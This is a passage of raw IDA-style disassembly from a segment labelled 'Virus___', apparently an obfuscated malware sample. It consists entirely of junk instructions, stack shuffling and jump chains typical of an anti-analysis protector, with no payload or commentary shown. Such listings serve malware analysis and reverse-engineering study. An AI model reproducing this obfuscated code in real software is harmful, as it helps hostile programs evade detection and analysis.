		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		sub	edx, 4
		push	edx
		jmp	loc_561E98
; ---------------------------------------------------------------------------


loc_550735:				; CODE XREF: Virus___:00559F0Bj
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_555A45
; ---------------------------------------------------------------------------


loc_55073E:				; CODE XREF: Virus___:005575E3j
		pop	ecx
		push	eax
		jmp	loc_561B03
; ---------------------------------------------------------------------------


loc_550745:				; CODE XREF: Virus___:00553F13j
		add	ebx, 14F62FA5h
		and	ebx, 7DA72DAh
		neg	ebx
		shr	ebx, 6
		push	ecx
		mov	ecx, 5F433F38h
		jmp	loc_552E00
; ---------------------------------------------------------------------------


loc_550761:				; CODE XREF: Virus___:0055583Ej
		xchg	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_564737
; ---------------------------------------------------------------------------


loc_55076D:				; CODE XREF: Virus___:00557394j
		pop	edi
		push	2C64h
		mov	[esp], esi
		push	edx
		push	edi
		jmp	loc_559050
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_554E37
; ---------------------------------------------------------------------------


loc_550791:				; CODE XREF: Virus___:00563046j
		mov	esi, eax
		pop	eax
		jmp	loc_5572BE
; ---------------------------------------------------------------------------


loc_550799:				; CODE XREF: Virus___:00556113j
		push	edx
		push	54887473h
		pop	edx
		push	edi
		mov	edi, 40A90795h
		neg	edi
		dec	edi
		sub	edi, 0B43A44B9h
		add	edx, edi
		pop	edi
		jmp	loc_559036
; ---------------------------------------------------------------------------


loc_5507B7:				; CODE XREF: Virus___:005502C1j
		xor	ebx, 2E7253F0h
		push	edx
		mov	edx, 7B613716h
		dec	edx
		and	edx, 485F51FDh
		inc	edx
		push	ebx
		mov	ebx, 37EE10E7h
		neg	ebx
		xor	ebx, 481D7C5Dh
		jmp	loc_564368
; ---------------------------------------------------------------------------


loc_5507DE:				; CODE XREF: Virus___:00560666j
		sub	esi, 0FE6E6AC8h
		or	ecx, esi
		pop	esi
		inc	ecx
		jmp	loc_55DE4C
; ---------------------------------------------------------------------------


loc_5507ED:				; CODE XREF: Virus___:00554727j
		mov	edi, esp
		add	edi, 4
		jmp	loc_553F18
; ---------------------------------------------------------------------------


loc_5507FA:				; CODE XREF: Virus___:00562B8Cj
		add	eax, ebx
		add	eax, 2C10539Dh
		jmp	loc_55C678
; ---------------------------------------------------------------------------


loc_550806:				; CODE XREF: Virus___:00552C96j
		add	esp, 4
		jmp	loc_555B7D
; ---------------------------------------------------------------------------


loc_55080E:				; CODE XREF: Virus___:00562923j
		add	ebx, 1
		shl	ebx, 8
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_56208C
; ---------------------------------------------------------------------------


loc_55082A:				; CODE XREF: Virus___:0055906Fj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_556F48
; ---------------------------------------------------------------------------


loc_55083B:				; CODE XREF: Virus___:005540C3j
		mov	ebp, [esp]
		push	4174h
		mov	[esp], edi
		jmp	loc_55CE84
; ---------------------------------------------------------------------------


loc_55084B:				; CODE XREF: Virus___:0056361Bj
		mov	bl, ah
		push	eax
		mov	al, bl
		mov	dh, al
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		pop	ax
		sub	dh, 48h
		add	al, 0FDh
		add	al, dh
		push	ecx
		mov	cl, 82h
		inc	cl
		xor	cl, 7Eh
		sub	al, cl
		pop	ecx
		pop	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_561287
; ---------------------------------------------------------------------------


loc_550885:				; CODE XREF: Virus___:0055E204j
		pop	eax
		push	edi
		mov	edi, 0F4A7B0Dh
		add	ebp, 0A9B0CDEh
		jmp	loc_5529DA
; ---------------------------------------------------------------------------


loc_550897:				; CODE XREF: Virus___:0055DA31j
		mov	ebp, ebx
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55953C
; ---------------------------------------------------------------------------


loc_5508A8:				; CODE XREF: Virus___:0055BA6Fj
		mov	edi, ecx
		pop	ecx
		jmp	loc_562D15
; ---------------------------------------------------------------------------


loc_5508B0:				; CODE XREF: Virus___:00558957j
		xor	ecx, edi
		jmp	loc_56050B
; ---------------------------------------------------------------------------


loc_5508B7:				; CODE XREF: Virus___:00561001j
		add	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, esp
		push	487Fh
		mov	[esp], ebp
		jmp	loc_557D69
; ---------------------------------------------------------------------------


loc_5508CA:				; CODE XREF: Virus___:00555FC8j
		push	ecx
		mov	ecx, 4096ADEh
		mov	esi, 4096ADCh
		xor	esi, ecx
		pop	ecx
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_56496E
; ---------------------------------------------------------------------------


loc_5508E9:				; CODE XREF: Virus___:005614FBj
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_550909:				; CODE XREF: Virus___:00561417j
		push	edx
		push	ecx
		mov	cl, ah
		mov	dl, cl
		pop	ecx
		mov	bh, dl
		pop	edx
		jmp	loc_550C8C
; ---------------------------------------------------------------------------


loc_550918:				; CODE XREF: Virus___:0056045Bj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	36F5h
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_557C91
; ---------------------------------------------------------------------------


loc_550942:				; CODE XREF: Virus___:0055061Bj
		add	ebx, edi
		jmp	loc_557519
; ---------------------------------------------------------------------------


loc_550949:				; CODE XREF: Virus___:0055FE60j
		pop	edi
		xor	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, ecx
		mov	ebx, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55F0A9
; ---------------------------------------------------------------------------


loc_550965:				; CODE XREF: Virus___:0056392Bj
		xor	[esp], ebp
		jmp	loc_551291
; ---------------------------------------------------------------------------


loc_55096D:				; CODE XREF: Virus___:00553720j
		pop	edx
		jmp	loc_55D47A
; ---------------------------------------------------------------------------


loc_550973:				; CODE XREF: Virus___:00552654j
		pop	edi
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		not	edi
		add	edi, 5A6E75CBh
		or	edi, 4D401975h
		push	esi
		push	eax
		push	ebp
		mov	ebp, 3794659Ch
		inc	ebp
		jmp	loc_55639A
; ---------------------------------------------------------------------------


loc_55099B:				; CODE XREF: Virus___:0055FA1Fj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55B8DF
; ---------------------------------------------------------------------------


loc_5509AC:				; CODE XREF: Virus___:0055B1F6j
		add	dl, bl
		sub	dl, 3Dh
		pop	ebx
		add	dl, 1
		xor	dl, 41h
		jmp	loc_563849
; ---------------------------------------------------------------------------


loc_5509BD:				; CODE XREF: Virus___:0055A520j
		add	ebx, ecx
		push	edx
		mov	edx, offset byte_50561F
		shl	edx, 3
		shl	edx, 7
		sub	edx, 10747C4h
		or	edx, 0FDA0AC6h
		add	edx, 489309BAh
		jmp	loc_559AD4
; ---------------------------------------------------------------------------


loc_5509E2:				; CODE XREF: Virus___:005572C6j
		pop	esi
		neg	edi
		xor	edi, 2818207h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		sub	dword ptr [esp], 2C047D83h
		pop	ecx
		jmp	loc_550D25
; ---------------------------------------------------------------------------


loc_550A0F:				; CODE XREF: Virus___:0055C960j
		mov	edi, 2
		add	ebp, 76843AE0h
		add	ebp, edi
		push	edx
		mov	edx, 76843AE0h
		add	ebp, 34AC1105h
		sub	ebp, edx
		jmp	loc_55CD6F
; ---------------------------------------------------------------------------


loc_550A2F:				; CODE XREF: Virus___:0055731Bj
		sub	esi, 13046C84h
		jmp	loc_55EC72
; ---------------------------------------------------------------------------


loc_550A3A:				; CODE XREF: Virus___:0055C058j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5530CF
; ---------------------------------------------------------------------------


loc_550A48:				; CODE XREF: Virus___:00563A7Dj
		add	eax, 40F84A0Fh
		add	eax, 36095CC5h
		inc	eax
		shl	eax, 2
		xor	eax, 83AB2084h
		sub	esi, 75583499h
		jmp	loc_563A37
; ---------------------------------------------------------------------------


loc_550A66:				; CODE XREF: Virus___:0055EF13j
		push	di
		mov	di, 0E2E8h
		xor	bx, di
		mov	di, [esp]
		add	esp, 2
		jmp	loc_56115B
; ---------------------------------------------------------------------------


loc_550A7B:				; CODE XREF: Virus___:0055EC03j
		sub	esi, 35CD0B99h
		push	ecx
		jmp	loc_563FD4
; ---------------------------------------------------------------------------


loc_550A87:				; CODE XREF: Virus___:0055FD43j
		add	edx, edi
		pop	edi
		jmp	loc_561F4C
; ---------------------------------------------------------------------------


loc_550A8F:				; CODE XREF: Virus___:005633A9j
		push	74B5h
		mov	[esp], edx
		push	0E03535Ch
		pop	edx
		add	edx, 706B5538h
		neg	edx
		jmp	loc_5642A9
; ---------------------------------------------------------------------------


loc_550AAA:				; CODE XREF: Virus___:0054FCE6j
		mov	ebp, 3B0F4D6Dh
		shl	ebp, 4
		add	ebp, 4F0B2934h
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_55B452
; ---------------------------------------------------------------------------


loc_550AC2:				; CODE XREF: Virus___:005579F5j
		mov	eax, 55CC228Eh
		sub	eax, 23A00D22h
		sub	eax, 0FFFFFFFFh
		shl	eax, 6
		jmp	loc_55FC65
; ---------------------------------------------------------------------------


loc_550AD7:				; CODE XREF: Virus___:005541DFj
		xor	edx, 30C62D74h
		add	edx, 0F2443DEBh
		add	esi, edx
		jmp	loc_55EC02
; ---------------------------------------------------------------------------


loc_550AEA:				; CODE XREF: Virus___:00553D0Fj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_560C48
; ---------------------------------------------------------------------------


loc_550AFE:				; CODE XREF: Virus___:00550E79j
		mov	eax, [esp]
		add	esp, 4
		xor	edi, 20004102h
		add	esi, 293E1E24h
		add	esi, 63478C6h
		add	esi, edi
		sub	esi, 63478C6h
		push	ebx
		jmp	loc_5501BB
; ---------------------------------------------------------------------------


loc_550B24:				; CODE XREF: Virus___:00560D85j
		mov	[esp], ebx
		push	edi
		push	ebp
		push	edi
		push	0BE203D8h
		jmp	loc_55CF72
; ---------------------------------------------------------------------------


loc_550B34:				; CODE XREF: Virus___:00561567j
		push	ebp
		push	68956102h
		pop	ebp
		jmp	loc_55B1FB
; ---------------------------------------------------------------------------


loc_550B40:				; CODE XREF: Virus___:005642F0j
		add	esi, 0A4E3423Dh
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_554A89
; ---------------------------------------------------------------------------


loc_550B57:				; CODE XREF: Virus___:0055FD00j
		push	edx
		push	701315F2h
		pop	edx
		xor	edx, 2A18615Ah
		push	1260h
		mov	[esp], edx
		jmp	loc_55F0A1
; ---------------------------------------------------------------------------


loc_550B71:				; CODE XREF: Virus___:0055DC5Aj
		pop	ebx
		jmp	loc_55A86F
; ---------------------------------------------------------------------------


loc_550B77:				; CODE XREF: Virus___:0055E60Aj
		push	bx
		push	dx
		jmp	loc_55116E
; ---------------------------------------------------------------------------


loc_550B80:				; CODE XREF: Virus___:00557934j
		push	ecx
		jmp	loc_55A1E5
; ---------------------------------------------------------------------------


loc_550B86:				; CODE XREF: Virus___:0055DF46j
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, 0FFFFFFFFh
		xor	edx, 9576D43Ah
		mov	ebp, edx
		jmp	loc_561100
; ---------------------------------------------------------------------------


loc_550BA6:				; CODE XREF: Virus___:00555BA6j
		push	1C48h
		jmp	loc_5636B8
; ---------------------------------------------------------------------------


loc_550BB0:				; CODE XREF: Virus___:0055C34Ej
		mov	ch, 69h
		sub	dh, 0A5h
		sub	dh, ch
		add	dh, 0A5h
		pop	ecx
		add	al, 0E6h
		add	al, 0C8h
		sub	al, 0CEh
		add	al, 98h
		add	al, dh
		jmp	loc_55E662
; ---------------------------------------------------------------------------


loc_550BCA:				; CODE XREF: Virus___:0055EE67j
		push	7CC7h
		mov	[esp], eax
		mov	eax, 1
		sub	esp, 4
		jmp	loc_552152
; ---------------------------------------------------------------------------


loc_550BDF:				; CODE XREF: Virus___:005566F1j
		add	ebx, ebp
		add	ebx, 65AC07CAh
		pop	ebp
		sub	ebx, 60220F4Ch
		add	ebx, edx
		add	ebx, 60220F4Ch
		push	eax
		mov	eax, 3B896CD5h
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_550C01:				; CODE XREF: Virus___:005519DFj
		push	ebx
		push	edi
		mov	edi, 1273520Fh
		mov	ebx, 12AAB8A4h
		add	ebx, edi
		pop	edi
		jmp	loc_555A13
; ---------------------------------------------------------------------------


loc_550C15:				; CODE XREF: Virus___:0056000Dj
		pop	ebp
		add	ebx, 0D8557282h
		xor	esi, ebx
		pop	ebx
		add	esi, 0F9B2896h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_563EE2
; ---------------------------------------------------------------------------


loc_550C33:				; CODE XREF: Virus___:0055A443j
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, 6855833h
		jmp	loc_55866D
; ---------------------------------------------------------------------------


loc_550C4C:				; CODE XREF: Virus___:00557C50j
		neg	ebx
		sub	ebx, 0DA5EAB8Ah
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_561FFB
; ---------------------------------------------------------------------------


loc_550C5F:				; CODE XREF: Virus___:00562F93j
		shr	edx, 3
		push	esi
		mov	esi, 0C9B24804h
		sub	edx, esi
		pop	esi
		sub	eax, 2D2A4FACh
		sub	eax, 44E03929h
		sub	eax, 640A7652h
		sub	eax, edx
		add	eax, 640A7652h
		jmp	loc_55A284
; ---------------------------------------------------------------------------


loc_550C86:				; CODE XREF: Virus___:0055B5BEj
		push	edi
		jmp	loc_559162
; ---------------------------------------------------------------------------


loc_550C8C:				; CODE XREF: Virus___:00550913j
		mov	ax, [esp]
		add	esp, 2
		push	ecx
		mov	ch, 30h
		dec	ch
		inc	ch
		push	cx
		jmp	loc_5586B9
; ---------------------------------------------------------------------------


loc_550CA4:				; CODE XREF: Virus___:00562669j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		jmp	loc_561364
; ---------------------------------------------------------------------------


loc_550CB4:				; CODE XREF: Virus___:00559F53j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5547F0
; ---------------------------------------------------------------------------


loc_550CC8:				; CODE XREF: Virus___:0055256Bj
		sub	eax, ebp
		pop	ebp
		sub	eax, ebx
		jmp	loc_551A98
; ---------------------------------------------------------------------------


loc_550CD2:				; CODE XREF: Virus___:0055C4D4j
		mov	[esp], ebx
		jmp	loc_555560
; ---------------------------------------------------------------------------


loc_550CDA:				; CODE XREF: Virus___:0055AA69j
		mov	edi, esp
		push	esi
		mov	esi, 6D2F56C5h
		jmp	loc_561242
; ---------------------------------------------------------------------------


loc_550CE7:				; CODE XREF: Virus___:00551567j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55891B
; ---------------------------------------------------------------------------


loc_550CF2:				; CODE XREF: Virus___:005517B9j
		sub	edx, 4E3C1A34h
		push	edx
		pop	eax
		pop	edx
		shl	eax, 7
		inc	eax
		or	eax, 756F4641h
		shr	eax, 5
		dec	eax
		xor	eax, 7BB7BFDh
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_55EE6C
; ---------------------------------------------------------------------------


loc_550D17:				; CODE XREF: Virus___:0055C404j
		push	esi
		mov	esi, 3F732F31h
		dec	esi
		xchg	eax, esi
		inc	eax
		jmp	loc_5505AF
; ---------------------------------------------------------------------------


loc_550D25:				; CODE XREF: Virus___:00550A0Aj
		add	ecx, 2C047D83h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		sub	dword ptr [esp+4], 19D229D3h
		add	[esp+4], edx
		push	eax
		mov	eax, 19D229D3h
		add	[esp+8], eax
		pop	eax
		pop	edx
		pop	esi
		push	658Eh
		mov	[esp], ebp
		push	24h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55351A
; ---------------------------------------------------------------------------


loc_550D6E:				; CODE XREF: Virus___:00557B71j
		push	5168h
		jmp	loc_54FF40
; ---------------------------------------------------------------------------


loc_550D78:				; CODE XREF: Virus___:00552B77j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_554284
; ---------------------------------------------------------------------------


loc_550D86:				; CODE XREF: Virus___:00562DB6j
		push	ebp
		push	ebp
		mov	ebp, 4B1C6F09h
		jmp	loc_55E138
; ---------------------------------------------------------------------------


loc_550D92:				; CODE XREF: Virus___:00557419j
		add	esp, 4
		push	esi
		mov	esi, 13562FBDh
		xor	esi, 0DA1E6Fh
		sub	esi, 22775527h
		sub	esi, 0F114DCA7h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_560FAF
; ---------------------------------------------------------------------------


loc_550DC6:				; CODE XREF: Virus___:0055C76Ej
		push	eax
		jmp	loc_55644C
; ---------------------------------------------------------------------------


loc_550DCC:				; CODE XREF: Virus___:0056118Dj
		push	ecx
		jmp	loc_555F74
; ---------------------------------------------------------------------------


loc_550DD2:				; CODE XREF: Virus___:0055D154j
		xor	ebx, 70DC23A2h
		add	eax, ebx
		pop	ebx
		push	5ECEh
		mov	[esp], ebp
		push	eax
		mov	eax, 5465418Ch
		shl	eax, 3
		shr	eax, 2
		neg	eax
		sub	esp, 4
		jmp	loc_559EF9
; ---------------------------------------------------------------------------


loc_550DF9:				; CODE XREF: Virus___:00561CD2j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5587F1
; ---------------------------------------------------------------------------


loc_550E07:				; CODE XREF: Virus___:00563275j
		mov	[esp], ebx
		jmp	loc_55118A
; ---------------------------------------------------------------------------


loc_550E0F:				; CODE XREF: Virus___:00550208j
		neg	edi
		push	417Fh
		mov	[esp], edx
		mov	edx, 0D0F140Ch
		neg	edx
		sub	edx, 0CD7190ABh
		add	edi, 1FD2239Bh
		sub	edi, edx
		sub	edi, 1FD2239Bh
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, edi
		jmp	loc_558EDD
; ---------------------------------------------------------------------------


loc_550E41:				; CODE XREF: Virus___:00556726j
		pop	ecx
		mov	edx, ebx
		jmp	loc_551548
; ---------------------------------------------------------------------------


loc_550E49:				; CODE XREF: Virus___:00557708j
		mov	bl, 0B4h
		add	bl, ah
		jmp	loc_5625CB
; ---------------------------------------------------------------------------


loc_550E52:				; CODE XREF: Virus___:0055A6D8j
		mov	[esp], esi
		push	70B13F63h
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 32324B59h
		xor	esi, ebp
		pop	ebp
		mov	ebx, esi
		pop	esi
		push	4283747Ah
		jmp	loc_55F313
; ---------------------------------------------------------------------------


loc_550E76:				; CODE XREF: Virus___:005642FFj
		pop	edx
		and	edi, eax
		jmp	loc_550AFE
; ---------------------------------------------------------------------------


loc_550E7E:				; CODE XREF: Virus___:00552367j
		shl	edi, 1
		jmp	loc_55B68E
; ---------------------------------------------------------------------------


loc_550E85:				; CODE XREF: Virus___:00564929j
		add	ecx, 3AEC66A3h
		add	ecx, esi
		sub	ecx, 3AEC66A3h
		push	edi
		mov	edi, 44B66CEDh
		sub	ecx, edi
		pop	edi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55B044
; ---------------------------------------------------------------------------


loc_550EAB:				; CODE XREF: Virus___:0055E8EAj
		pop	esi
		pop	dword ptr [esp]
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		jmp	loc_55373A
; ---------------------------------------------------------------------------


loc_550EB8:				; CODE XREF: Virus___:00551477j
		mov	edx, 683D1DB8h
		or	edx, 4B3E7004h
		xor	edx, 51E50C95h
		sub	esi, 3EE525D2h
		sub	esi, edx
		add	esi, 3EE525D2h
		pop	edx
		not	esi
		inc	esi
		push	edi
		mov	edi, 0EE184DEDh
		xor	esi, edi
		pop	edi
		jmp	loc_550254
; ---------------------------------------------------------------------------


loc_550EE9:				; CODE XREF: Virus___:0055D63Ej
		push	ecx
		mov	ecx, 61A4179Ah
		inc	ecx
		xor	ecx, 582F0C57h
		and	ecx, 2FD85598h
		not	ecx
		and	ecx, 5FD17A2Bh
		add	ecx, 0BBD706h
		or	esi, ecx
		pop	ecx
		and	esi, 19EF215Dh
		or	esi, 573D265Fh
		jmp	loc_5647C3
; ---------------------------------------------------------------------------


loc_550F1E:				; CODE XREF: Virus___:00551984j
		mov	edx, 3A954959h
		push	edi
		mov	edi, 44465BDAh
		jmp	loc_5617AF
; ---------------------------------------------------------------------------


loc_550F2E:				; CODE XREF: Virus___:0055612Ej
		xor	esi, 2AC201EDh
		push	eax
		push	670A788Eh
		pop	eax
		and	esi, eax
		jmp	loc_5510F7
; ---------------------------------------------------------------------------


loc_550F42:				; CODE XREF: Virus___:005529C7j
		sub	ebx, edx
		pop	edx
		push	edx
		push	eax
		mov	eax, 645A16C7h
		push	eax
		jmp	loc_557E8B
; ---------------------------------------------------------------------------


loc_550F52:				; CODE XREF: Virus___:0055AED7j
		sub	dword ptr [esp], 24A410Bh
		jmp	loc_56450A
; ---------------------------------------------------------------------------


loc_550F5E:				; CODE XREF: Virus___:0055818Ej
		sub	edi, 6DE7C1Ch
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5594FE
; ---------------------------------------------------------------------------


loc_550F71:				; CODE XREF: Virus___:005634BEj
		dec	edi
		add	edi, 33677CD3h
		add	eax, 779F3FEFh
		add	eax, edi
		sub	eax, 779F3FEFh
		pop	edi
		add	eax, 2
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_555CD7
; ---------------------------------------------------------------------------


loc_550F98:				; CODE XREF: Virus___:005605AAj
		mov	ebp, 578E2E15h
		shl	ebp, 8
		jmp	loc_557890
; ---------------------------------------------------------------------------
		push	1A8Bh
		mov	[esp], eax
		push	0F06h
		jmp	loc_5582D0
; ---------------------------------------------------------------------------


loc_550FB7:				; CODE XREF: Virus___:00557BFFj
		xchg	edx, [esp]
		jmp	loc_55AD89
; ---------------------------------------------------------------------------


loc_550FBF:				; CODE XREF: Virus___:005556E6j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55D09C
; ---------------------------------------------------------------------------


loc_550FCD:				; CODE XREF: Virus___:00564134j
		push	3785h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_55CB5F
; ---------------------------------------------------------------------------


loc_550FDF:				; CODE XREF: Virus___:00559F6Ej
		add	esp, 4
		jmp	loc_56327A
; ---------------------------------------------------------------------------


loc_550FE7:				; CODE XREF: Virus___:00553754j
		add	ebp, 4
		jmp	loc_55B5E5
; ---------------------------------------------------------------------------


loc_550FEF:				; CODE XREF: Virus___:00561B94j
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_55BB7A
; ---------------------------------------------------------------------------


loc_551002:				; CODE XREF: Virus___:0055576Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	5FA2h
		mov	[esp], ecx
		mov	ecx, 295B38C2h
		jmp	loc_55234F
; ---------------------------------------------------------------------------


loc_55101D:				; CODE XREF: Virus___:00552FC4j
		add	esi, edx
		jmp	loc_553E48
; ---------------------------------------------------------------------------


loc_551024:				; CODE XREF: Virus___:00563B74j
		push	219Eh
		jmp	loc_558E65
; ---------------------------------------------------------------------------


loc_55102E:				; CODE XREF: Virus___:005574BCj
		xor	eax, esi
		jmp	loc_55D311
; ---------------------------------------------------------------------------


loc_551035:				; CODE XREF: Virus___:005617A1j
		pop	ecx
		jmp	loc_551E60
; ---------------------------------------------------------------------------


loc_55103B:				; CODE XREF: Virus___:0055AC79j
		xor	edi, edx
		pop	edx
		jmp	loc_55A876
; ---------------------------------------------------------------------------


loc_551043:				; CODE XREF: Virus___:00560EFBj
		push	5DB50915h
		pop	ebx
		and	ebx, 105421EFh
		xor	ebx, 5B422304h
		jmp	loc_556C07
; ---------------------------------------------------------------------------


loc_55105A:				; CODE XREF: Virus___:00552E88j
		add	esp, 4
		jmp	loc_55EAC6
; ---------------------------------------------------------------------------


loc_551062:				; CODE XREF: Virus___:005505A4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	1E2Eh
		mov	[esp], ecx
		mov	ecx, 3E604727h
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 14F06BB6h
		pop	ebp
		jmp	loc_561910
; ---------------------------------------------------------------------------


loc_551096:				; CODE XREF: Virus___:0055F459j
		and	ebp, 2E2B24D1h
		jmp	loc_560FFA
; ---------------------------------------------------------------------------


loc_5510A1:				; CODE XREF: Virus___:00555749j
		mov	ah, cl
		push	dword ptr [esp]
		jmp	loc_5504BB
; ---------------------------------------------------------------------------


loc_5510AB:				; CODE XREF: Virus___:0055566Bj
		push	edi
		mov	edi, 49757417h
		add	esi, edi
		pop	edi
		add	esi, edx
		sub	esi, 49757417h
		push	ebp
		mov	ebp, 33112B44h
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 612408DDh
		jmp	loc_5550F6
; ---------------------------------------------------------------------------


loc_5510DB:				; CODE XREF: Virus___:00555DC2j
		mov	cl, 4Fh
		push	5332h
		jmp	loc_55FCE0
; ---------------------------------------------------------------------------


loc_5510E7:				; CODE XREF: Virus___:005586B4j
		push	6384h
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		jmp	loc_5637C6
; ---------------------------------------------------------------------------


loc_5510F7:				; CODE XREF: Virus___:00550F3Dj
		pop	eax
		shr	esi, 5
		or	esi, 1B6D6ACEh
		dec	esi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_551391
; ---------------------------------------------------------------------------


loc_551125:				; CODE XREF: Virus___:0055C669j
		sub	eax, 0DCCDB2DBh
		mov	esi, eax
		pop	eax
		add	esi, 0B24588D8h
		sub	ebx, 493F5A93h
		jmp	loc_55A2A0
; ---------------------------------------------------------------------------


loc_55113E:				; CODE XREF: Virus___:0055C979j
		mov	ebp, 45B7736Dh
		push	esi
		mov	esi, 174475EAh
		not	esi
		push	6B81h
		mov	[esp], ebp
		mov	ebp, 0EE157DAh
		jmp	loc_55E352
; ---------------------------------------------------------------------------


loc_55115D:				; CODE XREF: Virus___:0055A312j
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, 6D5E21CCh
		jmp	loc_5527B4
; ---------------------------------------------------------------------------


loc_55116E:				; CODE XREF: Virus___:00550B7Bj
		mov	dx, 551Fh
		sub	[esp+2], dx
		pop	dx
		mov	di, [esp]
		jmp	loc_557E9E
; ---------------------------------------------------------------------------


loc_551182:				; CODE XREF: Virus___:00551CBDj
		mov	esi, [esp]
		jmp	loc_55FDF5
; ---------------------------------------------------------------------------


loc_55118A:				; CODE XREF: Virus___:00550E0Aj
		mov	ebx, esp
		push	ecx
		mov	ecx, 353137A3h
		sub	ecx, 3531379Fh
		add	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 173D4929h
		sub	ebp, 0DC440361h
		add	ebp, 52D96328h
		push	ecx
		mov	ecx, 4899611Ch
		jmp	loc_55EEA0
; ---------------------------------------------------------------------------


loc_5511B8:				; CODE XREF: Virus___:0055A80Cj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_56199E
; ---------------------------------------------------------------------------


loc_5511CC:				; CODE XREF: Virus___:0055EC83j
		pop	ecx
		inc	eax
		or	eax, 13F764A1h
		jmp	loc_563DAF
; ---------------------------------------------------------------------------


loc_5511D8:				; CODE XREF: Virus___:0056464Bj
		pop	dword ptr [esp]
		push	ecx
		jmp	loc_55E35A
; ---------------------------------------------------------------------------


loc_5511E1:				; CODE XREF: Virus___:0055CCDFj
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5511EF:				; CODE XREF: Virus___:005546C6j
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 36BB2BCDh
		shr	ecx, 8
		or	ecx, 0DA84E97h
		jmp	loc_55F9F9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55A6ED
; ---------------------------------------------------------------------------


loc_551216:				; CODE XREF: Virus___:00551DA7j
